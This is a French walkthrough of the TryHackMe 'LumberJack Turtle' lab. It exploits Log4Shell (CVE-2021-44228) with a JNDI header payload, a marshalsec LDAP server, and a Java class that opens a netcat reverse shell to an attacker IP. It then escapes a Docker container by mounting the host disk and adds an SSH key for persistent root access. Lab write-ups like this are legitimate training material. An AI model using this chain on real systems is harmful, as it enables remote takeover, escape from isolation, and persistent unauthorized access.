LumberJack Turtle – Walkthrough Fr | TryHackMe – Write-up

No logs, no crime… so says the lumberjack.

 

Lumberjack turtle est une box de Tryhackme est log4j est à l’honneur.

Un entraînement parfait pour exploiter la faille CVE-2021-44228

 

Enumération

Commande :

nmap -T5 -sV -p- 10.10.239.165

Enumération Web :

Il n’y que le port 80 d’ouvert. On va énumérer les répertoires existante sur la cible avec Dirb.

Commande :

dirb http://10.10.239.165

On a trouvé un 1ier répertoire, on va voir si à partir de ce dernier s’il y en a d’autre.

Commande :

dirb -u http://10.10.239.165/~logs

Nouveau répertoire trouvé log4j. Il va donc falloir exploiter cette faille. Avant de voir de se lancer, il faut voir si la cible est vulnérable.

Ce répertoire GitHub nous permet de tester si la cible est vulnérable https://github.com/fullhunt/log4j-scan

Commande :

git clone https://github.com/fullhunt/log4j-scan

cd log4j-scan

pip3 install -r requirements.txt

Scan de la cible :

python3.9 log4j-scan.py http:// 10.10.239.165/~logs/log4j

C’est bien vulnérable… En même temps, on s’en doutait un peu…

Little hint lost in the header...

Il était bien caché, mais il vaut le coup. Il se trouve dans le header de la page  /~logs/log4j.

Dans les outils de développement ( f12 ), on peut voir l’indice : X-THM-HINT CVE-2021-44228 against X-Api-Version

Initial foothold - Exploitation

Pour exploiter la faille, il y a plusieurs étapes à mettre en place

  • Mise en place d’un server qui va répondre à la requête ldap (LDAP Referral Server)
  • Création d’un shell code en java
  • Partage de l’exploit via un serveur http
  • Mise en place d’un écouteur netcat
  • Exécution de la requête malveillante.

LDAP Referral Server

Il faut au préalable télécharger ce répertoire github

Commande :

git clone https://github.com/mbechler/marshalsec

cd marshalec

mvn clean package -DskipTests

Mise en place du serveur :

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit

création d’un shell code en java

public class Exploit {

    static {

        try {

            java.lang.Runtime.getRuntime().exec("nc 10.11.38.124 9999 -e /bin/bash");

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

}

Compilation

javac Exploit.java -source 8 -target 8

Partage de l’exploit via un serveur http

python3.9 -m http.server

Mise en place d’un écouteur netcat

nc -nlvp 9999

Tout est prêt !!!!

Exécution de la requête malveillante.

curl -X GET  http://10.10.239.165/~logs/log4j/ -H 'X-Api-Version: ${jndi:ldap://10.11.38.124:1389/Exploit\}'

Escalade de privilège

On arrive sur un shell, qui ne peut pas être upgrade. En tout cas, on est avec le compte root dans un conteneur.

Flag 1

Le 1ier flag se trouve à cet emplacement : /opt/

Escape from docker

Comme pour la box Hamlet, il faut aller dans /dev et voir quels sont les disques qui sont présents.

Commande :

cd /dev

ls -al | grep disk

Il faut ensuite monter le disque xvda1.

Commande :

mkdir /mnt/xvda1

mount /dev/xvda1 /mnt/xvda1

Une fois monté, on a accès à tout le système en tant que root.

Flag 2

Le 2ᵉ flag est plus difficile à trouver. On passe facilement à côté. Il faut voir le dossier qui s’appelle «…»

Done !!!

Connection SSH - Root

Il est possible de se connecter en ssh. Une fois le volume xvda1 montée, il est possible d’ajouter une clé public dans le fichier authorized_keys.

Sur Kali, il faut créer une paire de clé privée/public.

Commande :

ssh-keygen

Copie de la clé id_rsa.pub :

echo ‘key here ‘ >> authorized_keys

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest